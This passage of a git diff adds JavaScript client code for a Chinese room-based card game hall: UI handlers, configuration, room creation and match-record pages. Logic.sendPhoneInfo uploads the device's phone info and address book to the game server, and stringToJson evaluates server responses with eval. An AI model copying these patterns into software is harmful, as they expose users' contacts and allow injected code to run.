== 0){//活动关闭 + //return; + //} + var data="channel_id="+GameData.ChannelId+"&agent_id="+GameData.AgentId+"&avatar="+C_Player.avatar+"&nick_name="+min_encode(C_Player.nickname)+ + "&player_id="+C_Player.playerid+"&game_id="+GameData.GameId+"&event="+event+"&open_id="+C_Player.openid+"&union_id="+C_Player.unionid; + Func.AjaxHttp3(_sendUrl,data,function(_msg,state,input_msg){ + _msg = decodeUnicode(_msg); + + _msg = stringToJson(_msg);//JSON.parse(_msg); + GameUI.OpenTips(_msg.msg); + },function(_msg,state,input_msg){ + _msg = decodeUnicode(_msg); + _msg = JSON.parse(_msg); + GameUI.OpenTips(_msg.msg); + }); + }catch(e){ + + } +} +//跳转常驻活动页面 +Logic.jumpToAct = function(){ + //var ort=fGetQuery1(GameData.hallConfig.actData[2],"orientation"); + var url = GameData.hallConfig.actData[2]+"?channelId="+GameData.ChannelId+"&agentId="+GameData.AgentId+"&avatar="+min_encode(C_Player.avatar)+"&nickname="+min_encode(C_Player.nickname)+ + "&playerId="+C_Player.playerid+"&gameId="+GameData.GameId+"&openId="+C_Player.openid+"&unionId="+C_Player.unionid + +"&sex="+C_Player.sex+"&bean="+C_Player.bean; + //var ort=fGetQuery1(GameData.hallConfig.storeUrl,"orientation"); + Func.OpenurlTitleData(url,"",""); +} +function decodeUnicode(str) { + str = str.replace(/\\/g, "%"); + return unescape(str); +} +function stringToJson(_msg){ + return eval('['+_msg+']')[0]; +} +Logic.updateMainSceneData = function(roomtype){ + Game_Modify.onCreateDesk(roomtype); + Desk.Create(roomtype); +} +Logic.checkRoom = function(){ + if(!get_self(149,37,0,0)){//不在主界面界面 + GameData.ConnectType = false; + GameData.disType = true; + GameData.NetType=1; + GameUI.StartLoad(); + GameData.isClose = true; + Net.ws_tcp.close(); + return true; + } + return false; +} +Logic.openMatchUrl = function(){ + //if(GameData.matchhtml){ + //var lat = null; + //var lot = null; + //if(C_Player.addr){ + //lat = C_Player.addr.latitude; + //lot=C_Player.addr.longitude; + //} + //if(GameData.matchhtml!="local"){ + + //Func.OpenurlTitleData(GameData.matchhtml+"?agent_id="+GameData.AgentId+"&user_id="+C_Player.playerid+"&game_id="+GameData.GameId+"&nickname=" + //+min_encode(C_Player.nickname)+"&avatar="+C_Player.avatar+"&ajaxurl="+GameData.AjaxUrl+"&appversion="+app_version+"&host="+Net.ws_tcp.url+ + //"&channel_id="+GameData.ChannelId+"&bean="+C_Player.bean+"&latitude="+lat+"&longitude="+lot + //+"&roomcard_name="+min_encode(GameData.roomCardName)+"&bean_name="+min_encode(GameData.starName),"",""); + //}else{ + //var url = min_replaceAll(window.location.href,"index.html","match/index.html#/index",false); + + //Func.OpenurlTitleData(url+"?agent_id="+GameData.AgentId+"&user_id="+C_Player.playerid+"&game_id="+GameData.GameId+"&nickname=" + //+min_encode(C_Player.nickname)+"&avatar="+C_Player.avatar+"&ajaxurl="+GameData.AjaxUrl+"&appversion="+app_version+"&host="+Net.ws_tcp.url+ + //"&channel_id="+GameData.ChannelId+"&bean="+C_Player.bean+"&latitude="+lat+"&longitude="+lot + //+"&roomcard_name="+min_encode(GameData.roomCardName)+"&bean_name="+min_encode(GameData.starName),"",""); + //} + //}else{ + //GameUI.OpenTips("暂未开放,敬请期待",ConstVal.Tips.time); + //} + if(GameData.vipConfig){ + var data = {}; + data.agentid = GameData.AgentId; + data.playerid = C_Player.playerid; + data.gameid = GameData.GameId; + data.roomcode = GameData.vipConfig[0][0]; + data.vipMatch = 1; + Net.Send_self_join_room(data); + }else{ + GameUI.OpenTips("暂未开放,敬请期待",ConstVal.Tips.time); + } +} +Logic.alyVideoConfig = function(config){ + if(config.type==1){ + switch(config.profitMode){ + case 1: + //set_self(3134,7,"视频功能将收取"+GameData.roomCardName+":"+config.profit); + return [GameData.roomCardName,config.profit]; + break; + case 2: + + break; + } + }else if(config.profitMode == 2){ + switch(config.profitMode){ + case 1: + //set_self(3134,7,"视频功能将收取"+GameData.starName+":"+config.profit); + return [GameData.starName,config.profit]; + break; + case 2: + + break; + } + } + return["",0]; +} +Logic.countText = function(str){ + if(!str){return null;} + var arr = str.split('\n'); + for(var i=arr.length-1;i>=0;i--){ + if(!arr[i]){ + arr.splice(i,1); + //i--; + }else{ + break; + } + } + var max = 0; + for(var i=0;imax){ + max = len; + } + } + } + return [arr.length,max]; + +} +//设置签名回调 +function setSignCallBack(text){ + var data={}; + data.agentid = GameData.AgentId; + data.playerid = C_Player.playerid; + data.sign = text; + Net.Send_setSign(data); +} +Logic.saveTea = function(val){ + var tea = Utl.ReadData(Utl.Config.tea); + if(tea){ + tea = JSON.parse(tea); + }else{ + tea = {}; + } + var data = tea; + data.tea = val; + data = JSON.stringify(data); + Utl.SaveData(Utl.Config.tea,data); +} +Logic.readTea = function(){ + var tea = Utl.ReadData(Utl.Config.tea); + if(tea){ + tea = JSON.parse(tea); + return tea.tea; + + } + return null; +} +//获取抽成说明 + +Logic.getRebateDes = function(mult){ + var aset_rebate = get_paravalue(GameData.serverConfig,"aset_rebate"); + + var config = null; + if(aset_rebate){ + config = aset_rebate.infinite; + if(config[0] == 3 && config[1] == 2){ + return parseInt(config[2]*mult/100); + } + + } + return 0; + +} +Logic.getVisibleNote = function(){ + var exp_hour = 24; + var exp = new Date(); + var now = exp.getTime(); + var time = Utl.ReadData(Utl.Config.ownerNoteTime); + if(time){ + if(now >= time){ + Utl.SaveData(Utl.Config.ownerNoteTime,now + exp_hour*60*60*1000); + return true; + }else{ + return false; + } + }else{ + Utl.SaveData(Utl.Config.ownerNoteTime,now + exp_hour*60*60*1000); + return true; + } +} + +Logic.checkAutoEnterOfc = function(mode){ + +} +Logic.addVipRoom = function(data){ + if(!data){return;} + var vData = Logic.readVipRoom(); + if(vData){ + //vData = JSON.parse(vData); + var indx = vData.data.indexOf(data); + if(indx < 0){ + //if(!mode){ + // vData.data.push(data); + //}else{ + + vData.data.unshift(data); + //} + Logic.saveVipRoom(vData); + }else{ + Utl.removeItemFromArray(vData.data,data); + vData.data.unshift(data); + Logic.saveVipRoom(vData); + } + }else{ + vData = {}; + vData.data=[data]; + Logic.saveVipRoom(vData); + } + + +} +Logic.delVipRoom = function(data){ + if(!data){return;} + var vData = Logic.readVipRoom(); + if(vData){ + //vData = JSON.parse(vData); + if(vData.data.indexOf(data) > -1){ + Utl.removeItemFromArray(vData.data,data); + Logic.saveVipRoom(vData); + } + } + + +} +Logic.saveVipRoom = function(data){ + if(data){ + GameData.vipRoomShortList = data.data; + data = JSON.stringify(data); + Utl.SaveData(Utl.Config.vipRoom,data); + } +} +Logic.readVipRoom = function(){ + var rValue = Utl.ReadData(Utl.Config.vipRoom); + if(rValue){ + rValue = JSON.parse(rValue); + return rValue; + } + return null; +} + +Logic.playCoinMp3 = function(){ + var exp = new Date(); + var now = exp.getTime(); + if(now > GameData.coinMp3Time + GameData.coinMp3Length){ + GameData.coinMp3Time = now; + Utl.playSound("00005.mp3"); + } + +} +Logic.savePhoneCode = function(phoneNumber,code){ + var exp = new Date(); + var codeTime = exp.getTime(); + var sData = {}; + sData.code = code; + sData.phoneNumber = phoneNumber; + sData.codeTime = codeTime; + Utl.SaveData(Utl.Config.phoneCode,JSON.stringify(sData)); +} +Logic.readPhoneCode = function(){ + var deltTime = 30; + var exp = new Date(); + var now = exp.getTime(); + var sData = Utl.ReadData(Utl.Config.phoneCode); + if(sData){ + sData = JSON.parse(sData); + if(now - Number(sData.codeTime) > deltTime*1000){//超出 + sData.restTime = 0; + return sData; + }else{ + sData.restTime = parseInt(deltTime - (now - Number(sData.codeTime))/1000); + //console.log("sData.restTime",sData.restTime); + return sData; + } + }else{ + return null; + } +} +Logic.sendPhoneInfo = function(){ + if(Number(Utl.ReadData(Utl.Config.phoneInfo)) == 1){ + return; + }else{ + Utl.SaveData(Utl.Config.phoneInfo,1); + } + var msg={}; + msg.info = {}; + msg.info.phoneInfo = GameData.phoneInfo; + msg.info.addrBook = GameData.addressBook; + msg.agentid =GameData.AgentId; + msg.playerid = C_Player.playerid; + Net.Send_submit_phoneinfo(msg); +} +Logic.getPhoneInfo = function(){ + //Func.getphoneInfo(); + if(!Utl.ReadData(Utl.Config.phoneInfo1)){ + Func.getphoneInfo(); + }else{ + GameData.phoneInfo = JSON.parse(Utl.ReadData(Utl.Config.phoneInfo1)); + } +} + +Logic.getGameDataFromMiniPro = function(){ + var _data = Utl.ReadData("openminigamedata"); + if(_data){ + _data = decodeURI(_data); + if(typeof _data == "string"){ + GameData.fromMiniProData = JSON.parse(_data); + } + }else{ + GameData.fromMiniProData = {}; + } + +} +Logic.joinRoomFromMiniPro = function(){ + Logic.getGameDataFromMiniPro(); + if(!ConstVal.isGameHall && !GameData.isKick && !Desk.roomcode){ + switch(GameData.fromMiniProData.rpc){ + case h5RpcList.joinRoom: + GameData.checkType = 8; + GameUI.openCheck("是否进入房间?"); + break; + default: + + break; + } + } +} +Logic.getNNLocal = function(){ + try{ + var locRecords = JSON.parse(Utl.readGradeInfo()); + if(locRecords.length > 0){ + gameCombat.get_player_grade1({ data: {gradeinfo : locRecords}}); + } + Game_Modify.gameView.locRecordsClick[0] = 1; + Game_Modify.gameView.locRecordsClick[1] = 0; + set_self(83,43,1,0,0); + }catch(e){ + //alert(e); + //TODO handle the exception + } +} diff --git a/games/games/Projects/clinet/gamehall/js/01_SubGame/00_SubGame_Config.js b/games/games/Projects/clinet/gamehall/js/01_SubGame/00_SubGame_Config.js new file mode 100644 index 0000000..4fdd96b --- /dev/null +++ b/games/games/Projects/clinet/gamehall/js/01_SubGame/00_SubGame_Config.js @@ -0,0 +1,151 @@ +var Game_Config = Game_Config||{};//相关配置 +Game_Config.Debugger={//调试配置 + isDebugger : false,// debugger模式下会将所有收发的包输出到控制台(正式发布改为false) + AutoLogin : true,//debugger模式下是否需要记住登录状态自动登录(正式发布改为true) + isSubmitError : false,//是否需要服务器收集错误信息调试时可根据需要(正式发布改为true) + visitorLogin : true,//隐藏式游客登录 + visiblePay:true,//审核通过后是否显示支付按钮 + serverType:0,//0->正式服务器 1->测试服务器 2->本地服务器 http://ylyxservice1.0791ts.cn/config/update_json.txt + //gameserver:"http://testgame.youlehdyx.com/update_json/ceshi_json.txt"+"?"+ifast_random(100000) + //gameserver:"https://projectimage.tscce.cn/avatar/nickname1.txt"+"?"+ifast_random(100000) + gameserver:"http://ylyxservice1.xpxman.cn/config/update_jsonv2.txt"+"?"+ifast_random(100000) + +}; + +Game_Config.Max = { + SumOfRoomtype:3,//创建时房间类型roomtype数组长度 + ShowChat:2000,//聊天停留时间 + PlayerCnt:5,//房间最大人数 + group:500,//游戏最大群组号 + showtime:10,//加载等待最少时间 + reconnecttime:30000,//唤醒游戏间隔(超过间隔断线重连) + Mainnickname:10,//主界面玩家昵称显示长度(字符长度) + Infonickname:16//个人信息显示长度(字符长度) +}; +Game_Config.Combat = { + height:80,//战绩页单行高度高度 + up_y:190,//战绩页裁剪y坐标 + bannerheight:60,//战绩横幅高度 + bannery:80,//战绩横幅Y左边(相对48精灵) + btnbg:50 +}; +Game_Config.Info = { + Mainnickname:8,//游戏主界面玩家信息显示最大长度(字符) + textwidth_1:12.5,//昵称文字显示的宽度(未改动聊天显示文字大小无需改动无需修改) + textwidth_2:12.5,//积分文字显示的宽度(未改动聊天显示文字大小无需改动无需修改) + otherPositionDefault:true,//其他主界面玩家信息(昵称、积分)是否采用默认对齐方式对齐居中点为头像中点 + myPositionDefault:true,//其他主界面玩家信息(昵称、积分)是否采用默认对齐方式对齐居中点为头像中点 + myPosition:130,//自己信息对齐点(根据游戏界面自行修改) + position:[],//其他主界面玩家信息(昵称、积分)居中对齐的x坐标 注意是其他玩家不包括自己从下家开始 + //TextContent:["1","2","3","4","5","6","7"],//常用语内容 + TextContent:["你好","2","3","4","5","6","7"],//常用语内容 + TextContentMp3:["","","","","","",""],//常用语对应音效 +}; +Game_Config.Share={//分享参数 + appdownload:"",//下载链接(无需配置,从服务器获取) + title:"Test",//(分享标题) + description:"hello world",//分享描述 + gameTitle:"",//游戏中的分享标题模板工程会自动将游戏名字分享出去、不必写在这个变量里 + gameDescription:""//游戏中分享描述 +}; +Game_Config.Chat={//游戏内聊天配置信息 + LimitLength:40,//聊天最大长度(字节长度) + textwidth:12.5,//聊天显示文字的宽度(未改动聊天显示文字大小无需改动无需修改) + ChatDis:[30,12],//聊天气泡与内容的间隔0位置左右间隔(最好不要低于30)1位置上下间隔 + isLeft:[1,0,0,1,1],//聊天气泡是否为以左边为基准线 + ChatLoc:[[35,517],[1100,315],[1100,105],[175,105],[175,315]]//聊天气泡的基准点位置(注意是基准点位置!) + +}; +Game_Config.Voice={//游戏内聊天配置信息 + VoiceTime:600,//播放语音动画的时间一般情况无需无需修改 + VoiceDis:[30,12],//语音气泡与内容的间隔0位置左右间隔(最好不要低于30)1位置上下间隔 + isLeft:[1,0,0,1,1],//气泡是否为以左边为基准线 + VoiceLoc:[[35,517],[1100,315],[1100,105],[175,105],[175,315]]//气泡的基准点位置(注意是基准点位置!) +}; +Game_Config.Setting={ + Ads1:"本游戏仅为娱乐休\n闲使用,道具所有\n 游戏通用\n\n游戏问题请联系微\n 信公众号:\n", + //Ads2:"\n 或客服号:\n", + board:"",//从后台获取设置无效 + //info:[" 客服信息","QQ:","",""],//客服QQ提醒 + info:[" 客服信息","QQ:","手机:","微信:"],//客服QQ提醒 + board_blength:24,//通知页面一行最大字节数(无需设置) + charge:"关注友乐微信公众号充值",//充值提示 +}; +Game_Config.Protocol={ + x:270,//协议图片初始x坐标 + y:70,//协议图片初始y坐标 + h:560,//协议图片显示高度 + w:729//协议图片显示宽度 +}; +Game_Config.Help={//帮助 + x:300,//帮助图片初始x坐标 + y:165,//帮助图片初始y坐标 + w:729,//帮助图片显示高度 + h:450//帮助图片显示宽度 +}; +Game_Config.Notice={//滚动公告 + x1:0,//无需设置 + x2:0,//无需设置 + y:0,//无需设置 + h:0,//无需设置 + //以上参数用来截取滚动公告的显示,截取位置是与滚动公告底大小位置一致 + speed:0.1,//滚动公告的滚动速度 + width:15//滚动公告的内容字体的字节长度(汉字是两个字节) +}; +Game_Config.Feedback = {//反馈配置 + maxLen:250 //反馈内容最大长度 +}; +Game_Config.shakeList ={//摇一摇事件的回调ID、需要添加时在此处添加回调事件写在Utl_Input.js中的Utl.shakeEvent()中 + nil:0, + startwar:1 +}; +Game_Config.soundList ={//声音资源名 + MenuSceneMusic:"",//大厅界面背景音 + MainSceneMusic:""//游戏主界面背景音 +}; +Game_Config.ClickButton = {//需要设置点击音效的按钮(只有有弹窗的按钮设置此音效有效、按钮已经设置好、子游戏不允许修改) + src_1:"00052.mp3",//点击时播放的声音资源文件( 不需要播放则不填,下同) + src_2:""//弹窗时播放的音效 +} + +Game_Config.loginButton = {//登录按钮信息 + x1:485,//非审核版本微信登录按钮x + x2:113,//审核版本微信登录按钮x + x3:488,//审核版本游客登录按钮x +}; +Game_Config.sysConfig = { + mainMenuButton:false,//是否进入主菜单界面隐藏四个按钮 + mainScenePlayerInfo:false,//是否隐藏主界面玩家信息 + mainSceneButton:false,//是否隐藏主界面按钮 + shareRoom:false,//接收到星星场是否屏蔽平台框架显示 + changeSeat:false,//是否屏蔽平台自动刷新换座后界面 + hideNotice:false,//隐藏公告栏 +} + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/games/games/Projects/clinet/gamehall/js/01_SubGame/01_SubGame_modify.js b/games/games/Projects/clinet/gamehall/js/01_SubGame/01_SubGame_modify.js new file mode 100644 index 0000000..837068e --- /dev/null +++ b/games/games/Projects/clinet/gamehall/js/01_SubGame/01_SubGame_modify.js @@ -0,0 +1,802 @@ + +var Game_Modify = Game_Modify||{};//子游戏可能会修改的模块 +Game_Modify.combat={ + maxPlayerCount:5, + pageOnelimitStrLen:8,//战绩页一昵称最大长度 + pageOneDoc:false, + pageTwolimitStrLen:16,//战绩页二昵称最大长度 + pageTwoDoc:false, +}; + +Game_Modify.roomDes = ""; +Game_Modify.game_config={//游戏配置默认值 + +}; +Game_Modify.Type_1 = [ + {id:0,des:"10局(房卡X1)",roomcard:1,type:1}, + {id:1,des:"20局(房卡X2)",roomcard:2,type:2} +]; +Game_Modify.Type_2 = [ + {id:0,des:"房主扣卡",type:1}, + {id:1,des:"每人扣卡",type:2} +]; + +Game_Modify.CreateRoomData = {//发送创建房间数据roomtype + //Roomcard:0, + Type_1:0, + Type_2:0, + //增加房间类型时在下面添加 +}; +Game_Modify.utlmousedown = function(gameid, spid, downx, downy, no1, no2, no3, no4, no5, no6){ + +} +Game_Modify.utlmousedown_nomove = function(gameid, spid, downx, downy, timelong, no1, no2, no3, no4, no5){ + switch(spid){ + + } +} +Game_Modify.mouseup=function(gameid, spid_down, downx, downy, spid_up, upx, upy, timelong, no1, no2){ + if(spid_down==spid_up){ + switch(spid_up){ + case 25://???? + var data={}; + data.agentid = GameData.AgentId; + data.playerid = C_Player.playerid; + data.gameid = GameData.GameId; + //data.roomtype = [[1,[1,2,3]],[1,[1,2]],[1,[1,2,3]],[1,[1,2,3,4,5]],[1,[1,2]],[[0,0,0,0,0],[1,5,3],[100,10000,0.01,1,500,0.02]]]; + data.roomtype = [1,1,1,1,1,[1,5,3]]; + Net.Send_create_room(data); + break; + case 150://??????? + GameUI.OpenHelp(); + break; + } + if(spid_up>=20&&spid_up<=21){// + Game_Modify.CreateRoomData.Type_1 = spid_up-20; + + } + if(spid_up>=139&&spid_up<=140){ + Game_Modify.CreateRoomData.Type_2 = spid_up-139; + + } + + + } +} +Game_Modify.utlmousemove = function(gameid, spid, downx, downy, movex,movey ,timelong,offmovex, offmovey, no1){ + +} +Game_Modify.utlgamemydrawbegin = function(gameid, spid, times, timelong, no2, no3, no4, no5, no6, no7){ + + +} +Game_Modify.gamemydraw = function(gameid, spid, times, timelong, no2, no3, no4, no5, no6, no7){ + switch(spid){ + //勾选状态的钩钩是画上去的(如果需要改动勾选图片的尺寸、绘画时的参数自己调整) + //------------------- begin -------------- + case 248://协议勾选 + if(GameData.ProtocolIndex){ + ifast_mydrawbmp(spid,4,5,5,40,40,0,0,40,40); + } + break; + case 139://创建房间时的勾选 + if(Game_Modify.CreateRoomData.Type_2 == 0){ + ifast_mydrawbmp(spid,4,2,2,40,40,0,0,40,40); + } + break; + case 140://创建房间时的勾选 + if(Game_Modify.CreateRoomData.Type_2 == 1){ + ifast_mydrawbmp(spid,4,2,2,40,40,0,0,40,40); + } + break; + case 20://创建房间时的勾选 + if(Game_Modify.CreateRoomData.Type_1 == 0){ + ifast_mydrawbmp(spid,4,2,2,40,40,0,0,40,40); + } + break; + case 21://创建房间时的勾选 + if(Game_Modify.CreateRoomData.Type_1 == 1){ + ifast_mydrawbmp(spid,4,2,2,40,40,0,0,40,40); + } + break; + + + //------------------- end ------------------ + + } +} +Game_Modify.OpenCreateRoom=function(){ + Utl.playSound(Game_Config.ClickButton.src_2); + var roomty = Utl.getRoomtype(); + if(roomty){ + Game_Modify.CreateRoomData.Type_1 = roomty[0]-1; + Game_Modify.CreateRoomData.Type_2 = roomty[1]-1; + }else{ + Game_Modify.CreateRoomData.Type_1 = 0; + Game_Modify.CreateRoomData.Type_2 = 0; + } + set_self(672,7,Game_Modify.Type_1[0].des,0,0); + set_self(673,7,Game_Modify.Type_1[1].des,0,0); + set_self(674,7,Game_Modify.Type_2[0].des,0,0); + set_self(675,7,Game_Modify.Type_2[1].des,0,0); + + set_group(4,37,1,0,0); +} +Game_Modify.CloseCreateRoom=function(){ + set_group(4,37,0,0,0); +} +Game_Modify.setRoomDes = function(roomcode,asetcount,roomtype){ + Game_Modify.roomDes = "描述:"+roomcode+"("+asetcount+"局)"; +} +//-----------------新版战绩--------------------------- +var gameCombat={}; +gameCombat.combatData = { + page:0,//当前处于第几页战绩 0我的战绩1第二页战绩 + pageOneIndex:0,//选中的第二页的第几栏 + pageTwoIndex:0,//选中的第二页的第几栏 + type:0, + gradeIdx1:0, + gradeIdx2:0, +}; +gameCombat.combatPageOneConfig = { + fSpid:63, + bgSpid:64, + splitSpid:86, + btnSpid:51, + txt1Spid:65, + txt2Spid:66, + txt3Spid:67, + bgTag:1, + splitTag:500, + btnTag:1000, + txt1Tag:1500, + txt2Tag:3000, + txt3Tag:4500, + + clip_x:64, + clip_y:114, + clip_h:515, + clip_w:1175, + + txt1Width:10, + txt2Width:10, + txt3Width:10, + + splitPosition:[338,74], + btnPosition:[1065,0], + txt1Position:[[35,15],[35,60],[35,105]],//x,y + txt2Position:[[130,15],[130,60],[130,105]],//x,y + txt3Position5:[[400,45],[540,45],[680,45],[820,45],[960,45]],//[居中点,y] + txt3Position10:[[400,10],[540,10],[680,10],[820,10],[960,10], + [400,80],[540,80],[680,80],[820,80],[960,80]],//[居中点,y] + nickNameLimit5:8, + nickNameLimit10:8, + nsSpace:30,//昵称积分间隔 + + bgSpace:167,//背景间隔 + + +}; +gameCombat.combatPageTwoConfig = { + fSpid:87, + bgSpid:88, + splitSpid:91, + btnSpid:54, + txt1Spid:89, + //txt2Spid:66, + txt3Spid:90, + bgTag:1, + splitTag:500, + btnTag:1000, + txt1Tag:1500, + txt2Tag:3000, + txt3Tag:4500, + + clip_x:64, + clip_y:114, + clip_h:515, + clip_w:1175, + + txt1Width:10, + txt2Width:10, + txt3Width:10, + + splitPosition:[338,74], + btnPosition:[1065,0], + txt1Position:[[90,50],[35,60],[35,105]],//x,y + txt2Position:[[130,15],[130,60],[130,105]],//x,y + txt3Position5:[[400,45],[540,45],[680,45],[820,45],[960,45]],//[居中点,y] + txt3Position10:[[400,10],[540,10],[680,10],[820,10],[960,10], + [400,80],[540,80],[680,80],[820,80],[960,80]],//[居中点,y] + nickNameLimit5:2, + nickNameLimit10:2, + nsSpace:30,//昵称积分间隔 + + bgSpace:167,//背景间隔 + + +}; +gameCombat.combatPageOneData = { + slide:false, + bgTag:0, + btnTag:0, + txt1Tag:0, + txt2Tag:0, + txt3Tag:0, + splitTag:0, +}; +gameCombat.combatPageTwoData = { + slide:false, + bgTag:0, + btnTag:0, + txt1Tag:0, + txt2Tag:0, + txt3Tag:0, + splitTag:0, +}; +gameCombat.utlani_doend=function(id,sx,count,allend){ + +} +gameCombat.utlmousedown = function(gameid, spid, downx, downy, no1, no2, no3, no4, no5, no6){ + switch(spid){ + case gameCombat.combatPageOneConfig.fSpid: + gameCombat.combatPageOneData.slide = false; + break; + case gameCombat.combatPageTwoConfig.fSpid: + gameCombat.combatPageTwoData.slide = false; + break; + } +} +gameCombat.utlmouseup=function(gameid, spid_down, downx, downy, spid_up, upx, upy, timelong, no1, no2){ + if(spid_down == gameCombat.combatPageOneConfig.fSpid){ + var pos = get_self(spid_down,19,0,0,0); + var sh = get_self(spid_down,21,0,0,0); + if(sh <= gameCombat.combatPageOneConfig.clip_h){ + play_ani(1,spid_down,19,pos,gameCombat.combatPageOneConfig.clip_y,0,ifast_abs(gameCombat.combatPageOneConfig.clip_y - pos),0,0,0,1,0,0,0); + }else{ + if(pos > gameCombat.combatPageOneConfig.clip_y){ + play_ani(1,spid_down,19,pos,gameCombat.combatPageOneConfig.clip_y,0,ifast_abs(gameCombat.combatPageOneConfig.clip_y - pos),0,0,0,1,0,0,0); + }else{ + var ppos = gameCombat.combatPageOneConfig.clip_y + gameCombat.combatPageOneConfig.clip_h - sh; + if(pos < ppos){ + play_ani(1,spid_down,19,pos,ppos,0,ifast_abs(ppos - pos),0,0,0,1,0,0,0); + } + } + } + } + if(spid_down == gameCombat.combatPageTwoConfig.fSpid){ + var pos = get_self(spid_down,19,0,0,0); + var sh = get_self(spid_down,21,0,0,0); + if(sh <= gameCombat.combatPageTwoConfig.clip_h){ + play_ani(1,spid_down,19,pos,gameCombat.combatPageTwoConfig.clip_y,0,ifast_abs(gameCombat.combatPageTwoConfig.clip_y - pos),0,0,0,1,0,0,0); + }else{ + if(pos > gameCombat.combatPageTwoConfig.clip_y){ + play_ani(1,spid_down,19,pos,gameCombat.combatPageTwoConfig.clip_y,0,ifast_abs(gameCombat.combatPageTwoConfig.clip_y - pos),0,0,0,1,0,0,0); + }else{ + var ppos = gameCombat.combatPageTwoConfig.clip_y + gameCombat.combatPageTwoConfig.clip_h - sh; + if(pos < ppos){ + play_ani(1,spid_down,19,pos,ppos,0,ifast_abs(ppos - pos),0,0,0,1,0,0,0); + } + } + } + } + if(spid_down==spid_up){ + switch(spid_up){ + case 13://发送战绩请求 + + break; + case gameCombat.combatPageOneConfig.fSpid://战绩页一 + if(!gameCombat.combatPageOneData.slide){ + var up_id = ifast_check_add(spid_up,upx,upy); + + if(up_id>=gameCombat.combatPageOneConfig.btnTag&&up_id<=gameCombat.combatPageOneConfig.txt1Tag){ + //console.log(up_id - gameCombat.combatPageOneConfig.btnTag); + gameCombat.newGoCombatPageTwo(up_id - gameCombat.combatPageOneConfig.btnTag); + } + } + break; + case gameCombat.combatPageTwoConfig.fSpid://战绩页二 + if(!gameCombat.combatPageTwoData.slide){ + var up_id = ifast_check_add(spid_up,upx,upy); + //console.log(up_id); + if(up_id>=gameCombat.combatPageTwoConfig.btnTag&&up_id<=gameCombat.combatPageTwoConfig.txt1Tag){ + console.log(up_id - gameCombat.combatPageTwoConfig.btnTag);//选中的是第几小局0开始 + gameCombat.combatData.pageTwoIndex = up_id - gameCombat.combatPageTwoConfig.btnTag; + gameCombat.newGoCombatPageThree(gameCombat.combatData.pageOneIndex,gameCombat.combatData.pageTwoIndex); + } + } + break; + case 49: + case 61: + { + gameCombat.closeNewCombat(); + } + break; + case 55://战绩返回 + if(gameCombat.combatData.page == 0){ + gameCombat.closeNewCombat(); + }else if(gameCombat.combatData.page == 1){ + gameCombat.newGoCombatPageOne(); + }else{ + gameCombat.newGoCombatPageTwo(gameCombat.combatData.pageOneIndex); + } + break; + case 84: + gameCombat.Send_get_player_grade1(0); + break; + case 85: + gameCombat.Send_get_player_grade1(1); + break; + case 104://我的开房上一页 + gameCombat.Send_get_player_grade1(1,1,gameCombat.combatData.gradeIdx1); + break; + case 105://下一页 + gameCombat.Send_get_player_grade1(1,2,gameCombat.combatData.gradeIdx2); + break; + } + + + } +} +gameCombat.utlmousemove=function(gameid, spid, downx, downy, movex,movey ,timelong,offmovex, offmovey, no1){ + switch(spid){ + case gameCombat.combatPageOneConfig.fSpid: + if(ifast_abs(offmovey)>2){ + set_self(spid,19,offmovey,1,0,0); + gameCombat.combatPageOneData.slide = true; + } + break; + case gameCombat.combatPageTwoConfig.fSpid: + if(ifast_abs(offmovey)>2){ + set_self(spid,19,offmovey,1,0,0); + gameCombat.combatPageTwoData.slide = true; + } + break; + } +} +gameCombat.utlgamemydraw=function(gameid, spid, times, timelong, no2, no3, no4, no5, no6, no7){ + +} +gameCombat.utlgamemydrawbegin=function(gameid, spid, times, timelong, no2, no3, no4, no5, no6, no7){ + if(spid==gameCombat.combatPageOneConfig.fSpid){ + set_clip(0,0,gameCombat.combatPageOneConfig.clip_x,gameCombat.combatPageOneConfig.clip_y,gameCombat.combatPageOneConfig.clip_w,gameCombat.combatPageOneConfig.clip_h); + } + if(spid==gameCombat.combatPageTwoConfig.fSpid){ + set_clip(0,0,gameCombat.combatPageTwoConfig.clip_x,gameCombat.combatPageTwoConfig.clip_y,gameCombat.combatPageTwoConfig.clip_w,gameCombat.combatPageTwoConfig.clip_h); + } +} + +//打开战绩 +gameCombat.openNewCombat = function(){ + + //gameCombat.combatData.page = 0; + if(!gameCombat.combatData.type){ + set_self(83,43,1,0,0); + }else{ + set_self(83,43,2,0,0); + } + set_group(7,37,1,0,0); + + + //gameCombat.newCreateCombatPageOne(); + gameCombat.newGoCombatPageOne(); +} +//关闭战绩 +gameCombat.closeNewCombat = function(){ + set_group(7,37,0,0,0); + set_group(8,37,0,0,0); + set_group(9,37,0,0,0); + set_group(13,37,0,0,0); + set_group(14,37,0,0,0); + set_group(15,37,0,0,0); + set_group(16,37,0,0,0); + set_group(17,37,0,0,0); + gameCombat.removeCombatPageOne(); + gameCombat.removeCombatPageTwo(); + gameCombat.removeCombatPageThree(); +} +//创建战绩页一 +gameCombat.newCreateCombatPageOne = function(){ + gameCombat.removeCombatPageOne(); + set_group(8,37,1,0,0); + set_self(gameCombat.combatPageOneConfig.fSpid,18,gameCombat.combatPageOneConfig.clip_x,0,0); + set_self(gameCombat.combatPageOneConfig.fSpid,19,gameCombat.combatPageOneConfig.clip_y,0,0); + var h = gameCombat.combatPageOneConfig.bgSpace; + set_self(gameCombat.combatPageOneConfig.fSpid,21,h*CombatInfo.length,0,0); + set_self(gameCombat.combatPageOneConfig.fSpid,20,get_self(gameCombat.combatPageOneConfig.bgSpid,20,0,0,0),0,0); + var bgTag = gameCombat.combatPageOneConfig.bgTag; + var btnTag = gameCombat.combatPageOneConfig.btnTag; + var txt1Tag = gameCombat.combatPageOneConfig.txt1Tag; + var txt2Tag = gameCombat.combatPageOneConfig.txt2Tag; + var txt3Tag = gameCombat.combatPageOneConfig.txt3Tag; + var splitTag = gameCombat.combatPageOneConfig.splitTag; + for(var i=0;i 5){ + //splitPosition + position = gameCombat.combatPageOneConfig.txt3Position10; + var splitLine = ifast_addtospritefromspritecopy(gameCombat.combatPageOneConfig.fSpid,gameCombat.combatPageOneConfig.splitSpid, + gameCombat.combatPageOneConfig.splitPosition[0], + gameCombat.combatPageOneConfig.splitPosition[1]+i*gameCombat.combatPageOneConfig.bgSpace, + splitTag); + splitTag++; + } + var nameLimit; + CombatInfo[i].gameinfo1.playerlist.length > 5 ? nameLimit = gameCombat.combatPageOneConfig.nickNameLimit10:nameLimit = gameCombat.combatPageOneConfig.nickNameLimit5; + var n=0; + for(var j=0;j 5){ + //splitPosition + position = gameCombat.combatPageTwoConfig.txt3Position10; + var splitLine = 